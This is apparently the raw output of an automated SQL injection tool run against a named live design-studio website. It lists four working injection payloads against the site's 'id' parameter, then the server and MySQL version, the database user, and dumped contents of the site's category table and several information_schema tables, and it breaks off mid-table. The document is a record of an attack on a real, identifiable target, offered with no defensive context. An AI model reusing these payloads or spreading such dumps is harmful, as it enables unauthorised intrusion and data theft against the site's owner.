https://minddesign.co.uk/



    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=483' AND 5965=5965 AND 'FXqZ'='FXqZ

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=483' AND GTID_SUBSET(CONCAT(0x7162717671,(SELECT (ELT(8833=8833,1))),0x717a786b71),8833) AND 'DvGL'='DvGL

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=483' AND (SELECT 5920 FROM (SELECT(SLEEP(5)))OLzv) AND 'paVf'='paVf

    Type: UNION query
    Title: MySQL UNION query (NULL) - 16 columns
    Payload: id=483' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162717671,0x62525058774e48615759514253696669427964767a556f625277544c55627a594269417466556152,0x717a786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#




web application technology: Apache
back-end DBMS: MySQL >= 5.6
banner: '5.7.34'



database management system users [1]:
[*] 'jacobs_mddata'@'localhost'


Database: jacobs_mddata
Table: modern_cat
[10 entries]
+----+------------+-------+--------+
| id | name       | anker | open   |
+----+------------+-------+--------+
| 1  | print      | 15    | close  |
| 2  | identity   | 10    | open   |
| 3  | books      | 20    | close  |
| 4  | typedesign | 25    | open   |
| 5  | web        | 30    | close  |
| 6  | various    | 40    | close  |
| 0  | <blank>    | 5     | open   |
| 11 | retail     | 35    | close  |
| 13 | teaching   | 44    | close  |
| 12 | downloads  | 45    | open   |
+----+------------+-------+--------+



Database: information_schema
Table: PARTITIONS
[63 entries]
+----------+-----------+-----------+------------+---------------------------------------+------------+-------------+---------------------+-------------+--------------+--------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+
| CHECKSUM | NODEGROUP | DATA_FREE | TABLE_ROWS | TABLE_NAME                            | CHECK_TIME | UPDATE_TIME | CREATE_TIME         | DATA_LENGTH | INDEX_LENGTH | TABLE_SCHEMA       | TABLE_CATALOG | AVG_ROW_LENGTH | PARTITION_NAME | TABLESPACE_NAME | MAX_DATA_LENGTH | PARTITION_METHOD | SUBPARTITION_NAME | PARTITION_COMMENT | SUBPARTITION_METHOD | PARTITION_EXPRESSION | PARTITION_DESCRIPTION | SUBPARTITION_EXPRESSION | PARTITION_ORDINAL_POSITION | SUBPARTITION_ORDINAL_POSITION |
+----------+-----------+-----------+------------+---------------------------------------+------------+-------------+---------------------+-------------+--------------+--------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+
| NULL     | <blank>   | 0         | 0          | CHARACTER_SETS                        | NULL       | NULL        | 2021-06-29 21:07:55 | 0           | 0            | information_schema | def           | 384            | NULL           | NULL            | 16434816        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATIONS                            | NULL       | NULL        | 2021-06-29 21:08:16 | 0           | 0            | information_schema | def           | 231            | NULL           | NULL            | 16704765        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:08:38 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLUMNS                               | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLUMN_PRIVILEGES                     | NULL       | NULL        | 2021-06-29 21:09:21 | 0           | 0            | information_schema | def           | 2565           | NULL           | NULL            | 16757145        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | ENGINES                               | NULL       | NULL        | 2021-06-29 21:09:42 | 0           | 0            | information_schema | def           | 490            | NULL           | NULL            | 16574250        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | EVENTS                                | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | FILES                                 | NULL       | NULL        | 2021-06-29 21:10:29 | 0           | 0            | information_schema | def           | 14468          | NULL           | NULL            | 16768412        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | GLOBAL_STATUS                         | NULL       | NULL        | 2021-06-29 21:10:52 | 0           | 0            | information_schema | def           | 3268           | NULL           | NULL            | 16755036        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | GLOBAL_VARIABLES                      | NULL       | NULL        | 2021-06-29 21:11:13 | 0           | 0            | information_schema | def           | 3268           | NULL           | NULL            | 16755036        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | KEY_COLUMN_USAGE                      | NULL       | NULL        | 2021-06-29 21:11:36 | 0           | 0            | information_schema | def           | 4637           | NULL           | NULL            | 16762755        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | OPTIMIZER_TRACE                       | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | PARAMETERS                            | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | PARTITIONS                            | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | PLUGINS                               | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:13:46 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:14:12 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:14:39 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:15:06 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:15:32 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:15:59 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:16:32 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:16:59 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:17:23 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:17:53 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:18:25 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:18:54 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:19:21 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:19:59 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:20:40 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:21:11 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | COLLATION_CHARACTER_SET_APPLICABILITY | NULL       | NULL        | 2021-06-29 21:21:40 | 0           | 0            | information_schema | def           | 195            | NULL           | NULL            | 16357770        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | PROCESSLIST                           | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | PROCESSLIST                           | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | PROFILING                             | NULL       | NULL        | 2021-06-29 21:23:01 | 0           | 0            | information_schema | def           | 308            | NULL           | NULL            | 16562084        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | PROFILING                             | NULL       | NULL        | 2021-06-29 21:23:27 | 0           | 0            | information_schema | def           | 308            | NULL           | NULL            | 16562084        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | REFERENTIAL_CONSTRAINTS               | NULL       | NULL        | 2021-06-29 21:24:04 | 0           | 0            | information_schema | def           | 4814           | NULL           | NULL            | 16767162        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | REFERENTIAL_CONSTRAINTS               | NULL       | NULL        | 2021-06-29 21:24:39 | 0           | 0            | information_schema | def           | 4814           | NULL           | NULL            | 16767162        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | ROUTINES                              | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | ROUTINES                              | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | SCHEMATA                              | NULL       | NULL        | 2021-06-29 21:26:19 | 0           | 0            | information_schema | def           | 3464           | NULL           | NULL            | 16738048        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | SCHEMATA                              | NULL       | NULL        | 2021-06-29 21:26:47 | 0           | 0            | information_schema | def           | 3464           | NULL           | NULL            | 16738048        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | SCHEMA_PRIVILEGES                     | NULL       | NULL        | 2021-06-29 21:27:13 | 0           | 0            | information_schema | def           | 2179           | NULL           | NULL            | 16736899        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | SCHEMA_PRIVILEGES                     | NULL       | NULL        | 2021-06-29 21:27:40 | 0           | 0            | information_schema | def           | 2179           | NULL           | NULL            | 16736899        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | SESSION_STATUS                        | NULL       | NULL        | 2021-06-29 21:28:10 | 0           | 0            | information_schema | def           | 3268           | NULL           | NULL            | 16755036        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | SESSION_STATUS                        | NULL       | NULL        | 2021-06-29 21:28:41 | 0           | 0            | information_schema | def           | 3268           | NULL           | NULL            | 16755036        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | SESSION_VARIABLES                     | NULL       | NULL        | 2021-06-29 21:29:10 | 0           | 0            | information_schema | def           | 3268           | NULL           | NULL            | 16755036        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | SESSION_VARIABLES                     | NULL       | NULL        | 2021-06-29 21:29:35 | 0           | 0            | information_schema | def           | 3268           | NULL           | NULL            | 16755036        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | STATISTICS                            | NULL       | NULL        | 2021-06-29 21:30:03 | 0           | 0            | information_schema | def           | 5753           | NULL           | NULL            | 16752736        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | STATISTICS                            | NULL       | NULL        | 2021-06-29 21:30:29 | 0           | 0            | information_schema | def           | 5753           | NULL           | NULL            | 16752736        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | TABLES                                | NULL       | NULL        | 2021-06-29 21:30:57 | 0           | 0            | information_schema | def           | 9441           | NULL           | NULL            | 16757775        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | TABLES                                | NULL       | NULL        | 2021-06-29 21:31:29 | 0           | 0            | information_schema | def           | 9441           | NULL           | NULL            | 16757775        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | TABLESPACES                           | NULL       | NULL        | 2021-06-29 21:32:03 | 0           | 0            | information_schema | def           | 6951           | NULL           | NULL            | 16772763        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | TABLESPACES                           | NULL       | NULL        | 2021-06-29 21:32:31 | 0           | 0            | information_schema | def           | 6951           | NULL           | NULL            | 16772763        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | TABLE_CONSTRAINTS                     | NULL       | NULL        | 2021-06-29 21:33:00 | 0           | 0            | information_schema | def           | 2504           | NULL           | NULL            | 16721712        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | TABLE_CONSTRAINTS                     | NULL       | NULL        | 2021-06-29 21:33:26 | 0           | 0            | information_schema | def           | 2504           | NULL           | NULL            | 16721712        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | TABLE_PRIVILEGES                      | NULL       | NULL        | 2021-06-29 21:33:52 | 0           | 0            | information_schema | def           | 2372           | NULL           | NULL            | 16748692        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | TABLE_PRIVILEGES                      | NULL       | NULL        | 2021-06-29 21:34:15 | 0           | 0            | information_schema | def           | 2372           | NULL           | NULL            | 16748692        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | TRIGGERS                              | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | TRIGGERS                              | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | USER_PRIVILEGES                       | NULL       | NULL        | 2021-06-29 21:35:27 | 0           | 0            | information_schema | def           | 1986           | NULL           | NULL            | 16726092        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | USER_PRIVILEGES                       | NULL       | NULL        | 2021-06-29 21:35:51 | 0           | 0            | information_schema | def           | 1986           | NULL           | NULL            | 16726092        | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
| NULL     | <blank>   | 0         | 0          | VIEWS                                 | NULL       | NULL        | NULL                | 16384       | 0            | information_schema | def           | 0              | NULL           | NULL            | NULL            | NULL             | NULL              | <blank>           | NULL                | NULL                 | NULL                  | NULL                    | NULL                       | NULL                          |
+----------+-----------+-----------+------------+---------------------------------------+------------+-------------+---------------------+-------------+--------------+--------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+




Database: information_schema
Table: TABLE_CONSTRAINTS
[2 entries]
+-------------+---------------+-----------------+-----------------+-------------------+--------------------+
| TABLE_NAME  | TABLE_SCHEMA  | CONSTRAINT_TYPE | CONSTRAINT_NAME | CONSTRAINT_SCHEMA | CONSTRAINT_CATALOG |
+-------------+---------------+-----------------+-----------------+-------------------+--------------------+
| modern_cat  | jacobs_mddata | PRIMARY KEY     | PRIMARY         | jacobs_mddata     | def                |
| modern_navi | jacobs_mddata | PRIMARY KEY     | PRIMARY         | jacobs_mddata     | def                |
+-------------+---------------+-----------------+-----------------+-------------------+--------------------+


Database: information_schema
Table: CHARACTER_SETS
[41 entries]
+--------+---------------------------------+--------------------+----------------------+
| MAXLEN | DESCRIPTION                     | CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME |
+--------+---------------------------------+--------------------+----------------------+
| 2      | Big5 Traditional Chinese        | big5               | big5_chinese_ci      |
| 1      | DEC West European               | dec8               | dec8_swedish_ci      |
| 1      | DOS West European               | cp850              | cp850_general_ci     |
| 1      | HP West European                | hp8                | hp8_english_ci       |
| 1      | KOI8-R Relcom Russian           | koi8r              | koi8r_general_ci     |
| 1      | cp1252 West European            | latin1             | latin1_swedish_ci    |
| 1      | ISO 8859-2 Central European     | latin2             | latin2_general_ci    |
| 1      | 7bit Swedish                    | swe7               | swe7_swedish_ci      |
| 1      | US ASCII                        | ascii              | ascii_general_ci     |
| 3      | EUC-JP Japanese                 | ujis               | ujis_japanese_ci     |
| 2      | Shift-JIS Japanese              | sjis               | sjis_japanese_ci     |
| 1      | ISO 8859-8 Hebrew               | hebrew             | hebrew_general_ci    |
| 1      | TIS620 Thai                     | tis620             | tis620_thai_ci       |
| 2      | EUC-KR Korean                   | euckr              | euckr_korean_ci      |
| 1      | KOI8-U Ukrainian                | koi8u              | koi8u_general_ci     |
| 2      | GB2312 Simplified Chinese       | gb2312             | gb2312_chinese_ci    |
| 1      | ISO 8859-7 Greek                | greek              | greek_general_ci     |
| 1      | Windows Central European        | cp1250             | cp1250_general_ci    |
| 2      | GBK Simplified Chinese          | gbk                | gbk_chinese_ci       |
| 1      | ISO 8859-9 Turkish              | latin5             | latin5_turkish_ci    |
| 1      | ARMSCII-8 Armenian              | armscii8           | armscii8_general_ci  |
| 3      | UTF-8 Unicode                   | utf8               | utf8_general_ci      |
| 2      | UCS-2 Unicode                   | ucs2               | ucs2_general_ci      |
| 1      | DOS Russian                     | cp866              | cp866_general_ci     |
| 1      | DOS Kamenicky Czech-Slovak      | keybcs2            | keybcs2_general_ci   |
| 1      | Mac Central European            | macce              | macce_general_ci     |
| 1      | Mac West European               | macroman           | macroman_general_ci  |
| 1      | DOS Central European            | cp852              | cp852_general_ci     |
| 1      | ISO 8859-13 Baltic              | latin7             | latin7_general_ci    |
| 4      | UTF-8 Unicode                   | utf8            | utf8_general_ci   |
| 1      | Windows Cyrillic                | cp1251             | cp1251_general_ci    |
| 4      | UTF-16 Unicode                  | utf16              | utf16_general_ci     |
| 4      | UTF-16LE Unicode                | utf16le            | utf16le_general_ci   |
| 1      | Windows Arabic                  | cp1256             | cp1256_general_ci    |
| 1      | Windows Baltic                  | cp1257             | cp1257_general_ci    |
| 4      | UTF-32 Unicode                  | utf32              | utf32_general_ci     |
| 1      | Binary pseudo charset           | binary             | binary               |
| 1      | GEOSTD8 Georgian                | geostd8            | geostd8_general_ci   |
| 2      | SJIS for Windows Japanese       | cp932              | cp932_japanese_ci    |
| 3      | UJIS for Windows Japanese       | eucjpms            | eucjpms_japanese_ci  |
| 4      | China National Standard GB18030 | gb18030            | gb18030_chinese_ci   |
+--------+---------------------------------+--------------------+----------------------+



Database: information_schema
Table: SCHEMATA
[2 entries]
+----------+--------------------+--------------+------------------------+----------------------------+
| SQL_PATH | SCHEMA_NAME        | CATALOG_NAME | DEFAULT_COLLATION_NAME | DEFAULT_CHARACTER_SET_NAME |
+----------+--------------------+--------------+------------------------+----------------------------+
| <blank>  | information_schema | def          | utf8_general_ci        | utf8                       |
| <blank>  | jacobs_mddata      | def          | latin1_swedish_ci      | latin1                     |
+----------+--------------------+--------------+------------------------+----------------------------+


Database: information_schema
Table: PLUGINS
[44 entries]
+-------------+--------------------+-------------+---------------+--------------------------------------------+----------------+----------------+----------------+---------------------------------------------------------------------------+---------------------+----------------------------+
| LOAD_OPTION | PLUGIN_NAME        | PLUGIN_TYPE | PLUGIN_STATUS | PLUGIN_AUTHOR                              | PLUGIN_VERSION | PLUGIN_LIBRARY | PLUGIN_LICENSE | PLUGIN_DESCRIPTION                                                        | PLUGIN_TYPE_VERSION | PLUGIN_LIBRARY_VERSION     |
